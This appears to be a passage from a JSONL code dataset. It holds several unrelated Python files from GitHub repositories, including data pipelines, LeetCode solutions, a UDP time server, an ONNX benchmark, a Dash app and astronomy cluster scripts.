self.clone copies self's params, and calls 'cls' with them\n # We could as well explicitly pass all needed self's params to UnpackCls\n Unpack = partial(self.clone, cls=UnpackCls)\n\n return [\n Unpack(\n input_path=self.paths.base_zip,\n output_dir=tmp_paths.root,\n output_paths=[tmp_paths.base_dir]\n ),\n Unpack(\n input_path=self.paths.features_zip,\n output_dir=tmp_paths.root,\n output_paths=[tmp_paths.features_dir]\n ),\n Unpack(\n input_path=self.paths.xlsa_zip,\n output_dir=tmp_paths.root,\n output_paths=[tmp_paths.xlsa_dir]\n )\n ]\n\n@requires(UnpackDataTask)\nclass ProcessAWABaseTask(AWATask):\n def _read_and_clean(self, path_to_file):\n names = readlines(path_to_file) # format: numer\\name\n # We ignore numbers, since we perfer 0 based indexing\n names = [line.split(\"\\t\")[1] for line in names] # list of names\n\n idx_to_name = names\n name_to_idx = {name : id for (id, name) in enumerate(names)}\n\n return (idx_to_name, name_to_idx)\n\n def map_labels(self):\n (idx_to_label,\n label_to_idx) = self._read_and_clean(self.tmp_paths.classes_txt)\n\n json_dump(idx_to_label, self.paths.label_itos)\n json_dump(label_to_idx, self.paths.label_stoi)\n\n def map_attrs(self):\n (idx_to_attrib,\n attrib_to_idx) = self._read_and_clean(self.tmp_paths.attrs_txt)\n\n json_dump(idx_to_attrib, self.paths.attrs_itos)\n json_dump(attrib_to_idx, self.paths.attrs_stoi)\n\n def create_attributes_matrix(self):\n bin_mat = numpy_array_from_text(self.tmp_paths.attrs_matrix_bin, dtype=np.int)\n cont_mat = numpy_array_from_text(self.tmp_paths.attrs_matrix_cont)\n assert bin_mat.size == cont_mat.size\n np.save(self.paths.attrs_bin, bin_mat)\n np.save(self.paths.attrs_cont, cont_mat)\n\n def run(self):\n self.map_labels()\n self.map_attrs()\n self.create_attributes_matrix()\n\n def output(self):\n return local_targets([\n self.paths.label_itos\n , self.paths.label_stoi\n , self.paths.attrs_itos\n , self.paths.attrs_stoi\n , self.paths.attrs_bin\n , self.paths.attrs_cont\n ])\n\n\n@requires(ProcessAWABaseTask)\nclass CreateTrainTestSplit(AWATask):\n \"\"\" Create train/test mask for each element.\n Additionally, create list of train/test/val indices.\n \"\"\"\n dev_size = luigi.IntParameter(default=500)\n\n def _create_split(self):\n # turn into 0 based idx -> -1\n labels = numpy_array_from_text(self.tmp_paths.labels, dtype=np.int64) - 1\n\n # Read split - format: class+name\n trainval_classes = readlines(self.tmp_paths.trainval_classes)\n test_classes = readlines(self.tmp_paths.test_classes)\n\n label_stoi = json_load(self.paths.label_stoi)\n # Turn class names to class indices\n trainval_class_indexes = [label_stoi[name] for name in trainval_classes]\n test_class_indexes = [label_stoi[name] for name in test_classes]\n\n train_mask = np.isin(labels, trainval_class_indexes)\n test_mask = np.isin(labels, test_class_indexes)\n assert all(train_mask | test_mask)\n\n np.savez(self.paths.testset_mask, seen=train_mask, unseen=test_mask)\n assert train_mask.ndim == 1\n train_indices = np.nonzero(train_mask)[0]\n dev_indices = np.random.choice(train_indices, self.dev_size, replace=False)\n test_indices = np.nonzero(test_mask)[0]\n assert train_indices.ndim == 1\n assert dev_indices.ndim == 1\n assert test_indices.ndim == 1\n np.save(self.paths.index_arrays.train, train_indices)\n np.save(self.paths.index_arrays.dev, dev_indices)\n np.save(self.paths.index_arrays.test, test_indices)\n\n def run(self):\n self._create_split()\n\n def output(self):\n return local_targets([\n self.paths.testset_mask\n , self.paths.index_arrays.train\n , self.paths.index_arrays.dev\n , self.paths.index_arrays.test\n ])\n\n\n@requires(CreateTrainTestSplit)\nclass SplitFeaturesAndLabels(AWATask):\n def _split(self):\n features = numpy_array_from_text(self.tmp_paths.features)\n # turn into 0 based idx -> -1\n labels = numpy_array_from_text(self.tmp_paths.labels, dtype=np.int64) - 1\n\n train_indices = np.load(self.paths.index_arrays.train)\n dev_indices = np.load(self.paths.index_arrays.dev)\n test_indices = np.load(self.paths.index_arrays.test)\n train_labels = labels[train_indices]\n dev_labels = labels[dev_indices]\n test_labels = labels[test_indices]\n np.save(self.paths.label_arrays.train, train_labels)\n np.save(self.paths.label_arrays.dev, dev_labels)\n np.save(self.paths.label_arrays.test, test_labels)\n\n train_features = features[train_indices]\n dev_features = features[dev_indices]\n test_features = features[test_indices]\n np.save(self.paths.resnet_features.train, train_features)\n np.save(self.paths.resnet_features.dev, dev_features)\n np.save(self.paths.resnet_features.test, test_features)\n\n def run(self):\n self._split()\n\n def output(self):\n return local_targets([\n self.paths.label_arrays.train\n , self.paths.label_arrays.dev\n , self.paths.label_arrays.test\n , self.paths.resnet_features.train\n , self.paths.resnet_features.dev\n , self.paths.resnet_features.test\n ])\n\nclass RunAllTask(Wrapper, AWATask):\n tasks = [SplitFeaturesAndLabels]\n\nclass Validate(AWATask):\n def _check_label_mapping(self):\n label_stoi = json_load(self.paths.label_stoi)\n label_itos = json_load(self.paths.label_itos)\n assert label_itos[0] == \"antelope\"\n assert label_itos[49] == \"dolphin\"\n for (idx, name) in enumerate(label_itos):\n assert idx == label_stoi[name]\n\n def _check_attrs_mapping(self):\n attrs_stoi = json_load(self.paths.attrs_stoi)\n attrs_itos = json_load(self.paths.attrs_itos)\n assert attrs_itos[0] == 'black'\n assert attrs_itos[84] == 'domestic'\n for (idx, name) in enumerate(attrs_itos):\n assert idx == attrs_stoi[name]\n\n def _check_indices(self):\n train_indices = np.load(self.paths.index_arrays.train)\n assert ( 0 in train_indices)\n assert (20173 in train_indices)\n assert (22400 in train_indices)\n test_indices = np.load(self.paths.index_arrays.test)\n assert (30600 in test_indices) # first sheep\n assert (32019 in test_indices) # last sheep\n assert ( 1796 in test_indices) # first bobcat\n assert ( 2425 in test_indices) # last bobcat\n assert ( 1622 in test_indices) # first blue+whale\n assert ( 1046 in test_indices) # first bat\n dev_indices = np.load(self.paths.index_arrays.dev)\n assert np.intersect1d(train_indices, test_indices).size == 0\n assert np.intersect1d(dev_indices, test_indices).size == 0\n\n def _check_labels(self):\n train_labels = np.load(self.paths.label_arrays.train)\n assert train_labels[0] == 0 # antelope, first train class\n assert train_labels[-1] == 37 # zebra, last train class\n test_labels = np.load(self.paths.label_arrays.test)\n assert test_labels[0] == 29 # bat, first test class\n assert test_labels[-1] == 46 # walrus, last tets class\n\n def _check_features(self):\n # Quick and dirty check for number similarity\n similar = lambda x, y: abs(x-y) < 1e-4\n\n train_features = np.load(self.paths.resnet_features.train)\n # first antelope\n assert similar(train_features[0,0], 0.12702841)\n assert similar(train_features[0,-1], 0.40761620)\n # last zebra\n assert similar(train_features[-1, 0], 0.24346060)\n assert similar(train_features[-1, -1], 0.06219054)\n\n test_features = np.load(self.paths.resnet_features.test)\n # first bat\n assert similar(test_features[0,0], 0.53858560)\n assert similar(test_features[0,-1], 0.06032756)\n # last walrus\n assert similar(test_features[-1,0], 0.55041420)\n assert similar(test_features[-1,-1], 0.56979007)\n\n def run(self):\n self._check_label_mapping()\n self._check_attrs_mapping()\n self._check_indices()\n self._check_labels()\n self._check_features()\n print(\"All checks successful\")","repo_name":"elanmart/zs","sub_path":"pyzsl/data/awa/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":11488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"2227846455","text":"from turtle import Screen, Turtle\nimport pandas as pd\n\n# Setting the screen\nscreen = Screen()\nimage = 'blank_states_img.gif'\nscreen.addshape(image)\nmap = Turtle()\nmap.shape(image)\n\nt = Turtle()\nt.ht()\nt.pu()\n\n# Reading the CSV File\ndata = pd.read_csv('50_states.csv')\n\ngame_is_on = True\nwhile game_is_on:\n user_input = screen.textinput(\"Statesgame!\", \"Name a state from the United States of America\").capitalize()\n # Getting row where state is user_input\n row = data[data.state == user_input]\n\n if not row.empty:\n t.goto(int(row.x), int(row.y))\n t.write(user_input)\n \n\n\nscreen.exitonclick()","repo_name":"sypai/100DaysOfPython","sub_path":"Day25/StatesGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"12538541138","text":"class Solution:\n def medianSlidingWindow(self, nums: List[int], k: int) -> List[float]:\n\n window, medians = [], []\n for i, num in enumerate(nums):\n\n # insert an element into sorted list\n # the resulting list would be still in order\n bisect.insort(window, num)\n\n if i >= k:\n # remove the element that is just out of scope\n # window.remove(nums[i-k])\n # apply binary search to locate the element to remove\n # but it won't make much difference, since eventually\n # we need to shift the elements\n window.pop(bisect.bisect(window, nums[i-k]) - 1)\n\n if i >= k - 1:\n if k % 2 == 0:\n median = (window[k//2] + window[k//2 - 1]) / 2\n else:\n median = window[k//2]\n\n medians.append(median)\n\n\n return medians","repo_name":"liaison/LeetCode","sub_path":"python/480_sliding_window_median.py","file_name":"480_sliding_window_median.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"}
+{"seq_id":"71646722794","text":"\"\"\"\nGiven the root of a binary tree, return the postorder traversal of its nodes' values.\n\"\"\"\n\nfrom typing import Optional\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef postorderTraversal(root: Optional[TreeNode]) -> list[int]:\n paths = []\n\n def walk(node: Optional[TreeNode]):\n if node is None:\n return\n\n walk(node.left)\n walk(node.right)\n paths.append(node.val)\n\n walk(root)\n return paths\n\n\n","repo_name":"kennyhml/leetcode","sub_path":"easy/postorder_traversal.py","file_name":"postorder_traversal.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"38582860295","text":"#coding=utf-8\n__author__ = 'royxu'\n#UDP Wrong Time Server -Chapter 4 - udptimeserver.py\n\nimport socket\nimport traceback\nimport struct\nimport time\n\nhost = ''\nport = 51423\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((host, port))\n\nwhile 1:\n try:\n message, address = s.recvfrom(8192)\n secs = int(time.time())\n secs -= 60 * 60 * 24\n secs += 2208988800\n reply = struct.pack(\"!I\", secs)\n s.sendto(reply, address)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n traceback.print_exc()","repo_name":"jameshilliard/PythonCode","sub_path":"NetworkProgram/chapter4/udptimeserver.py","file_name":"udptimeserver.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"39245899566","text":"#!/usr/bin/env python\nimport pickle\nimport sys\nimport dill\nimport pandas as pd\nfrom pddlgym.core import PDDLEnv\nimport joblib\n\nfrom myfunctions import *\n\n\n\ndef recognize(folder, metric, o):\n results = pd.DataFrame()\n\n print('Recognize domain:', folder + 'domain.pddl', 'problems:', folder + 'problems/')\n env = PDDLEnv(folder + 'domain.pddl', folder + 'problems/', raise_error_on_invalid_action=True, dynamic_action_space=True)\n obs_traces = []\n n_goals = len(env.problems)\n real_goal = 0\n with open(folder + 'real_hypn.dat', 'rb') as goal:\n real_goal = int(goal.readline())\n with open(folder + 'policies.pkl', 'rb') as file:\n policies = dill.load(file)\n with open(folder + 'actions.pkl', 'rb') as file:\n actions = dill.load(file)\n\n with open(folder + 'obs' + str(o) +'.pkl', \"rb\") as input_file:\n obs_traces.append(pickle.load(input_file))\n\n\n\n for i, trace in enumerate(obs_traces):\n\n distances, correct, pred_goal = goalRecognition(trace, policies, actions, real_goal, n_goals, metric)\n\n x = {'problem': folder, \n 'obs': o,\n 'metric': metric, \n 'g0': distances[0], 'g1': distances[1], 'g2': distances[2], 'g3': distances[3], \n 'real_goal': real_goal, 'pred_goal': pred_goal, 'correct': correct}\n x_dictionary = pd.DataFrame([x])\n \n results = pd.concat([results, x_dictionary], ignore_index=True)\n\n \n \n print(results)\n Path(f'{folder}/results_gr/').mkdir(parents=True, exist_ok=True)\n results.to_csv(f'{folder}/results_gr/{metric}_{o}.csv', index=False)\n return results\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n if len(args) != 3: exit()\n folder = args[0] + '/'\n metric = args[1]\n obs = args[2]\n recognize(folder, metric, obs)\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ClauNL/reinforcement-learning-GR","sub_path":"recognize.py","file_name":"recognize.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"42562093910","text":"#!/usr/local/bin/python3\ndef q_1(iArr, iIncrease = 1, iIncreaseThreshold = 3):\n\ti, iTarget, iCnt = 0, 0, 0\n\twhile iTarget < len(iArr):\n\t\ti = iTarget\n\t\tiTarget += iArr[i]\n\t\tif iArr[i] >= iIncreaseThreshold:\n\t\t\tiArr[i] += iIncrease\n\t\telse:\n\t\t\tiArr[i] += 1\n\t\tiCnt += 1\n\treturn iCnt\n\ndef main():\n\tss = []\n\twith open('input.txt') as f:\n\t\tfor content in f:\n\t\t\tcontent = content.rstrip('\\n')\n\t\t\tss.append(int(content))\n\tiArr = []\n\tfor s in ss:\n\t\tiArr.append(int(s))\n\tiArr2 = iArr[:]\n\tprint(q_1(iArr))\n\tprint(q_1(iArr2, -1, 3))\n\treturn 0\n\n# end of main\n\nif __name__ == '__main__':\n\tmain()","repo_name":"Yifeng-se/advent_of_code_2017","sub_path":"day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"36238226710","text":"# -*- coding: utf-8 -*-\nimport dash\nimport dash_table\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nimport pandas as pd\nfrom datetime import datetime, timedelta\n\nimport plotly.express as px\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport plotly.figure_factory as ff\n\nimport json\n\nimport folium\nfrom folium.plugins import HeatMap\nimport numpy as np\n\nfrom geopy.geocoders import Nominatim\ngeolocator = Nominatim(user_agent=\"My_App\")\n\nfrom sklearn.neighbors import KNeighborsClassifier\n\nwith open('loc_data.json','r') as file:\n location_dict = json.load(file)\n\nfrom clean import *\n\nimport base64\n\nimage_filename = 'images/tinderbot_logo.png' # replace with your own image\nencoded_image = base64.b64encode(open(image_filename, 'rb').read())\n\n\n\n################################################################################################\n############ GATHER LATEST DATA ################################################################\n################################################################################################\n\n\ndf = pd.read_csv('data/profile_data.csv')\ndf = clean(df)\nstats(df)\ndf = fill_missing_cities(df)\ndf = add_location_values(df)\n# map = plot_user_heatmap(df)\n# map.save('heatmap.html')\n\n################################################################################################\n############ GENERATE PLOTS ###################################################################\n################################################################################################\n\n\n################################################################################################\n############ START DASH APP ####################################################################\n################################################################################################\n\nBootyStrap = \"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css\"\n\napp = dash.Dash(__name__, \n external_stylesheets=[BootyStrap],\n meta_tags=[\n {\"name\": \"author\", \"content\": \"Matt Hwang\"}\n ]\n )\n\napp.title = 'Tinderbot'\nserver = app.server\n\n# app.config['suppress_callback_exceptions'] = True # This is to prevent app crash when loading since we have plot that only render when user clicks.\n\n\n\napp.layout = html.Div(style={'backgroundColor': '#fafbfd'},\n children=[\n # HEADER START\n\n html.Div(style={'marginRight': '1.5%',},\n id=\"header\",\n children=[\n html.Img(src='data:image/png;base64,{}'.format(encoded_image)),\n\n html.H1(\n children=\"Tinderbot\",\n style={\n 'textAlign': 'center',\n }),\n\n html.H4(\n children='Statistical insight based on worldwide Tinder profiles gathered by an automated bot',\n style={\n 'textAlign': 'center',\n }\n ),\n\n html.Hr(style={'marginTop': '.5%'},),\n\n html.P(\n id=\"description\",\n children=dcc.Markdown(\n children=(\n '''\n On April 2nd (day after April Fool's Day lol), Tinder announced that it will open up the use\n of it's Passport feature to all Tinder users. The Passport feature allows you to match\n with people all over the world versus your immediate area in an attempt to combat lonliness and boredom\n during the shelter in place and quarantine directives being rolled out all over.\n\n I decided to use this opportunity to gather Tinder profile information of users around the world to build\n a database to apply my newfound Data Science and Analytical skills towards in an attempt to combat lonliness and boredom\n during the shelter in place and quarantine directives being rolled out all over.\n\n '''\n )\n ),\n style={\n 'textAlign': 'center',\n }\n ),\n \n html.Hr(style={'marginTop': '.5%'},)\n \n ]),\n\n html.Div(style={'textAlign': 'center'},\n children=[\n html.Br(),\n html.H3('Stay safe out in them streets. Keep your distance and most importantly:'),\n html.H2('Wash 👏 Your 👏 Hands 👏 '),\n html.A('www.THWDesigns.com',href='https://thwdesigns.com'),\n ]),\n\n # FOOTER START\n html.Div(style={'textAlign': 'center'},\n children=[\n html.Br(),\n html.Br(),\n html.Hr(),\n html.P('Shout out to the below GitHub repos for inspiration.'),\n html.A('Perishleaf Project', href='https://github.com/Perishleaf/data-visualisation-scripts/tree/master/dash-2019-coronavirus',target='_blank'),\n html.Br(),\n html.A('NYT Github',href='https://github.com/nytimes/covid-19-data'),\n ]),\n\n])\n\nif __name__ == '__main__':\n # change host from the default to '0.0.0.0' to make it publicly available\n app.server.run(port=8000, host='127.0.0.1')\n app.run_server(debug=True)","repo_name":"mdhwang/tinderbot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"4052898384","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\nfrom pathlib import Path\nfrom time import perf_counter\n\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom tqdm import tqdm\nfrom transformers import (\n AutoConfig,\n AutoModelForSeq2SeqLM,\n AutoTokenizer,\n set_seed,\n)\n\nfrom optimum.onnxruntime import ORTModelForSeq2SeqLM\n\n\nSEED = 42\n\nlogging.basicConfig(level=logging.INFO)\n\n\n# Instanciate PyTorch model\ndef get_transformer_model(model_checkpoint):\n set_seed(SEED)\n device = torch.device(\"cuda:0\")\n model = AutoModelForSeq2SeqLM.from_pretrained(model_checkpoint).to(device)\n model.eval()\n tokenizer = AutoTokenizer.from_pretrained(model_checkpoint)\n return (model, tokenizer)\n\n\n# Instanciate ONNX model w/. and w/o. graph optimization\ndef get_onnx_model(model_checkpoint):\n device = torch.device(\"cuda:0\")\n model = ORTModelForSeq2SeqLM.from_pretrained(\"optimum/m2m100_418M\").to(device)\n tokenizer = AutoTokenizer.from_pretrained(model_checkpoint)\n return (model, tokenizer)\n\n\ndef benchmark(seq_len, model, tokenizer, device, frame, iterations=200, num_beam=1, model_id=\"m2m100_418m\"):\n # prepare data\n payload = \"机器学习是人工智能的一个分支。人工智能的研究历史有着一条从以“推理”为重点,到以“知识”为重点,再到以“学习”为重点的自然、清晰的脉络。显然,机器学习是实现人工智能的一个途径,即以机器学习为手段解决人工智能中的问题。机器学习在近30多年已发展为一门多领域交叉学科,涉及概率论、统计学、逼近论、凸分析(英语:Convex analysis)、计算复杂性理论等多门学科。机器学习理论主要是设计和分析一些让计算机可以自动“学习”的算法。机器学习算法是一类从数据中自动分析获得规律,并利用规律对未知数据进行预测的算法。因为学习算法中涉及了大量的统计学理论,机器学习与推断统计学联系尤为密切,也被称为统计学习理论。算法设计方面,机器学习理论关注可以实现的,行之有效的学习算法。很多推论问题属于无程序可循难度,所以部分的机器学习研究是开发容易处理的近似算法。机器学习已广泛应用于数据挖掘、计算机视觉、自然语言处理、生物特征识别、搜索引擎、医学诊断、检测信用卡欺诈、证券市场分析、DNA序列测序、语音和手写识别、战略游戏和机器人等领域。\"\n payload = tokenizer(payload, return_tensors=\"pt\")\n bos_token_ids = payload[\"input_ids\"][0][:2]\n eos_token_id = payload[\"input_ids\"][0][-1:]\n pure_payload = payload[\"input_ids\"][0][2:-1]\n if (seq_len - 3) <= len(pure_payload):\n payload = {\n \"input_ids\": torch.cat((bos_token_ids, pure_payload[:(seq_len - 3)], eos_token_id)).unsqueeze(0).to(device),\n \"attention_mask\": torch.ones((seq_len,), dtype=torch.int32).unsqueeze(0).to(device),\n }\n else:\n repeat = (seq_len - 3) // len(pure_payload)\n rest = (seq_len - 3) % len(pure_payload)\n payload = {\n \"input_ids\": torch.cat(\n (\n bos_token_ids,\n torch.cat((pure_payload.tile((repeat,)), pure_payload[:rest])),\n eos_token_id,\n )\n ).unsqueeze(0).to(device),\n \"attention_mask\": torch.ones((seq_len,), dtype=torch.int32).unsqueeze(0).to(device),\n }\n latencies_per_seq = []\n num_gen_tokens = []\n latencies_per_token = []\n # Warm up\n max_length = int(seq_len * 1.5)\n min_length = seq_len // 2\n for _ in range(10):\n _ = model.generate(\n **payload,\n forced_bos_token_id=tokenizer.get_lang_id(\"en\"),\n num_beams=num_beam,\n min_length=min_length,\n max_length=max_length,\n )\n\n # Timed run\n for _ in tqdm(range(iterations)):\n start_time = perf_counter()\n generated_tokens = model.generate(\n **payload,\n forced_bos_token_id=tokenizer.get_lang_id(\"en\"),\n num_beams=num_beam,\n min_length=min_length,\n max_length=max_length,\n )\n latency = 1000 * (perf_counter() - start_time) # Unit: ms\n num_tokens = generated_tokens.size(1)\n latency_per_token = latency / num_tokens\n latencies_per_seq.append(latency)\n num_gen_tokens.append(num_tokens)\n latencies_per_token.append(latency_per_token)\n\n # Compute run statistics\n time_avg_ms_per_seq = np.mean(latencies_per_seq)\n time_avg_ms_per_token = np.mean(latencies_per_token)\n time_p95_ms_per_seq = np.percentile(latencies_per_seq, 95)\n time_p95_ms_per_token = np.percentile(latencies_per_token, 95)\n\n # Record statistics for each iteration\n stat_dict = {\n \"time_ms_per_seq\": latencies_per_seq,\n \"num_gen_tokens\": num_gen_tokens,\n \"time_ms_per_token\": latencies_per_token,\n }\n df = pd.DataFrame.from_dict(stat_dict)\n df[\"num_iter\"] = iterations\n df[\"seq_len\"] = payload[\"input_ids\"].shape[1]\n df[\"model_id\"] = model_id\n df[\"framework\"] = frame\n df[\"num_beam\"] = num_beam\n df[\"time_avg_ms_per_seq\"] = time_avg_ms_per_seq\n df[\"time_avg_ms_per_token\"] = time_avg_ms_per_token\n df[\"time_p95_ms_per_seq\"] = time_p95_ms_per_seq\n df[\"time_p95_ms_per_token\"] = time_p95_ms_per_token\n\n return df\n\n# Run benchmark one by one\nmodel_id = \"facebook/m2m100_418M\"\n\ndevice = torch.device(\"cuda:0\")\npt_model, tokenizer = get_transformer_model(model_id)\npt_model.to(device)\nonnx_model, _ = get_onnx_model(model_id)\nonnx_model.to(device)\n\n# Benchmark\nres = []\nseq_lengths = [8, 16, 32, 64, 128, 256, 512]\nnum_beams = [1]\nfor seq_len in seq_lengths:\n print(\"seq_len: \", seq_len)\n for num_beam in num_beams:\n print(\"num_beam: \", num_beam)\n df_pt = benchmark(seq_len, pt_model, tokenizer, device, frame=\"PyTorch\", num_beam=num_beam, iterations=500)\n res.append(df_pt)\n\n df_onnx = benchmark(seq_len, onnx_model, tokenizer, device, frame=\"ONNX\", num_beam=num_beam, iterations=500)\n res.append(df_onnx)\n\n# Save result\nres = pd.concat(res, ignore_index=True)\nres.to_pickle(\"t4_res_ort_m2m100_418m_greedy.pkl\")\n\npd.read_pickle('t4_res_ort_m2m100_418m_greedy.pkl').head(10)\n","repo_name":"JingyaHuang/onnxruntime-inference-benchmark","sub_path":"benchmarks/onnxruntime/test_profiling_m2m.py","file_name":"test_profiling_m2m.py","file_ext":"py","file_size_in_byte":6361,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"35917374090","text":"from .geometry import *\nfrom .utils import *\nimport math\n\n'''\nfrom https://en.wikipedia.org/wiki/Procrustes_analysis\n'''\n\ndef procrustes_normalize_curve(curve):\n '''\n Args:\n curve: type array [[x, y]], [x, y]].\n Returns:\n procrustes_normalize_curve: procrustes_normalize_curve\n Descriptions:\n Translate and scale curve by Procrustes Analysis\n '''\n \n curve_length = len(curve)\n mean_x = array_average(list(map(lambda item: item[0], curve)))\n mean_y = array_average(list(map(lambda item: item[1], curve)))\n curve = list(map(lambda item: [item[0]-mean_x, item[1]-mean_y], curve))\n \n squared_sum = 0\n for i in range(curve_length):\n squared_sum += (curve[i][0])**2 + (curve[i][1])**2\n scale = round(squared_sum / curve_length, 2)\n return list(map(lambda item: [item[0]/scale, item[1]/scale], curve))\n\ndef find_procrustes_rotation_angle(curve, relativeCurve):\n '''\n Args:\n curve: type array [[x, y]], [x, y]].\n relativeCurve: type array [[x, y]], [x, y]].\n Warnings:\n `curve` and `relativeCurve` must have the same number of points\n `curve` and `relativeCurve` should both be run through [[procrustesNormalizeCurve]] first\n Returns:\n find_procrustes_rotation_angle: the angle to rotate\n Descriptions:\n Find the angle to rotate `curve` to match the rotation\n of `relativeCurve` using procrustes analysis\n '''\n \n assert len(curve) == len(relativeCurve), 'curve and relativeCurve must have the same length'\n numerator, denominator = 0, 0\n for i in range(len(curve)):\n numerator += relativeCurve[i][0]*curve[i][1] - relativeCurve[i][1]*curve[i][0]\n denominator += relativeCurve[i][0]*curve[i][0] + relativeCurve[i][1]*curve[i][1]\n return math.atan2(numerator, denominator)\n\ndef procrustes_normalize_rotation(curve, relativeCurve):\n '''\n Args:\n curve: type array [[x, y]], [x, y]].\n relativeCurve: type array [[x, y]], [x, y]].\n Warnings:\n `curve` and `relativeCurve` must have the same number of points\n `curve` and `relativeCurve` should both be run through [[procrustesNormalizeCurve]] first\n Returns:\n procrustes_normalize_rotation: rotate\n Descriptions:\n Rotate `curve` to match the rotation of \n `relativeCurve` using procrustes analysis\n '''\n\n angle = find_procrustes_rotation_angle(curve, relativeCurve)\n return rotate_curve(curve, angle)","repo_name":"nelsonwenner/shape-similarity","sub_path":"shapesimilarity/procrustesanalysis.py","file_name":"procrustesanalysis.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"72"}
+{"seq_id":"22998275354","text":"\"\"\"Priority Queue data strcture.\"\"\"\n\n\nclass Priorityq:\n \"\"\"Priority Que class.\"\"\"\n\n def __init__(self, value=None, pri=0):\n \"\"\"Create a instance of the priority class.\"\"\"\n self.q = {}\n\n def insert(self, data, pri=0):\n \"\"\"Will insert a value in the priority queue with a priority of 0 or the optional priority input.\"\"\"\n from que_ import Queue\n if not data:\n raise ValueError('need value to push')\n try:\n self.q[pri]\n except KeyError:\n self.q[pri] = Queue()\n self.q[pri].enqueue(data)\n\n def pop(self):\n \"\"\"Will pop the first inserted instances of the highest priority and return the value.\"\"\"\n if self.q == {}:\n raise ValueError('need value to pop')\n pri_to_pop = sorted(self.q.keys())[-1]\n q_pop = self.q[pri_to_pop].dequeue()\n try:\n self.q[pri_to_pop].peek()\n except AttributeError:\n del self.q[pri_to_pop]\n return q_pop\n\n def peek(self):\n \"\"\"Return the next priority item that will be popped without popping the item.\"\"\"\n if self.q == {}:\n raise ValueError('no values available')\n pri_to_peek = sorted(self.q.keys())[-1]\n return self.q[pri_to_peek].peek()\n","repo_name":"han8909227/data-structures","sub_path":"src/priorityq.py","file_name":"priorityq.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"28751461746","text":"import numpy as np\nimport pandas as pd\nfrom astropy.table import Table, join, vstack\nfrom glob import glob\n\nroot_dir = '/shared/ebla/cotar/'\ndata_dir = root_dir + 'clusters/'\ntails_dir = data_dir + 'cluster_tails/'\n# data_dir_clusters = data_dir+'Gaia_open_clusters_analysis_October-GALAH-clusters/'\n#\ngalah_gaia = Table.read(root_dir + 'GALAH_iDR3_main_191213.fits')\ngalah_gaia['d'] = 1e3 / galah_gaia['parallax']\n# galah_gaia = Table.read(root_dir + 'sobject_iraf_53_reduced_20190801.fits')\n# cluster_sel = Table.read(data_dir_clusters + 'Cluster_members_Gaia_DR2_Kharchenko_2013_init.fits')\n#\n# cluster_sel = join(cluster_sel, galah_gaia['source_id', 'sobject_id'], keys=['source_id'], join_type='left')\n\ntxt_file = open(data_dir + 'members_open_gaia_r2.txt', 'r')\ntxt_lines_all = txt_file.readlines()\ntxt_file.close()\n\nout_table = Table(names=('cluster', 'sobject_id'),\n dtype=('S24', 'int64'))\nfor txt_line in txt_lines_all:\n txt_line.rstrip('\\n')\n cluster_name, cluster_sobjectid = txt_line.split('\\t')\n cluster_sobjectid = np.int64(cluster_sobjectid.split(','))\n\n for sobj in cluster_sobjectid:\n out_table.add_row((cluster_name, sobj))\n\n # cluster_sel_sub = cluster_sel[cluster_sel['cluster'] == cluster_name]\n #\n # in_sel = np.sum(np.in1d(cluster_sel_sub['sobject_id'], cluster_sobjectid))\n #\n # print '{:3.0f} {:3.0f} - '.format(in_sel, len(cluster_sobjectid)), cluster_name\n\nout_table = join(out_table, galah_gaia['source_id', 'sobject_id', 'ra', 'dec', 'd'], keys='sobject_id', join_type='left')\nout_table.write(data_dir + 'members_open_gaia_r2.fits', overwrite=True)\n\n# find and merge cluster tail membership data\ntails_data = []\nfor fits_file in glob(tails_dir + '*.dat'):\n cluster = fits_file.split('/')[-1].split('.')[0]\n cluster_stars = Table.from_pandas(pd.read_csv(fits_file, delim_whitespace=True))\n\n if len(cluster_stars) <= 0:\n continue\n\n # class_col = 'class'\n # if class_col in cluster_stars.colnames:\n # # select only tail members for Blanco1 if even needed - needs some test\n # cluster_stars = cluster_stars[cluster_stars[class_col] == 't']\n\n cluster_stars['cluster'] = cluster\n print(cluster_stars['source_id', 'cluster'])\n tails_data.append(cluster_stars['source_id', 'cluster'])\nvstack(tails_data).write(tails_dir + 'members_open_gaia_tails.fits', 